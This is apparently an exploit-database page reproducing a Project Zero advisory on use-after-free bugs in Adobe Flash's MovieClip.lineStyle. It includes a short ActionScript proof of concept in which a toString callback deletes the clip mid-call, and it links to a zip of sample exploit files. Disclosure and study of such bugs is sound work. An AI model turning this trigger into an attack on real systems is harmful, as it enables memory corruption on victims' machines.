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Adobe Flash MovieClip.lineStyle - Use-After-Frees
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Source: https://code.google.com/p/google-security-research/issues/detail?id=558
There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:
this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);
function func(){
triangle_mc.removeMovieClip();
return "none";
}
A sample swf and fla are attached.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39021.zip
# 0day.today [2024-11-15] #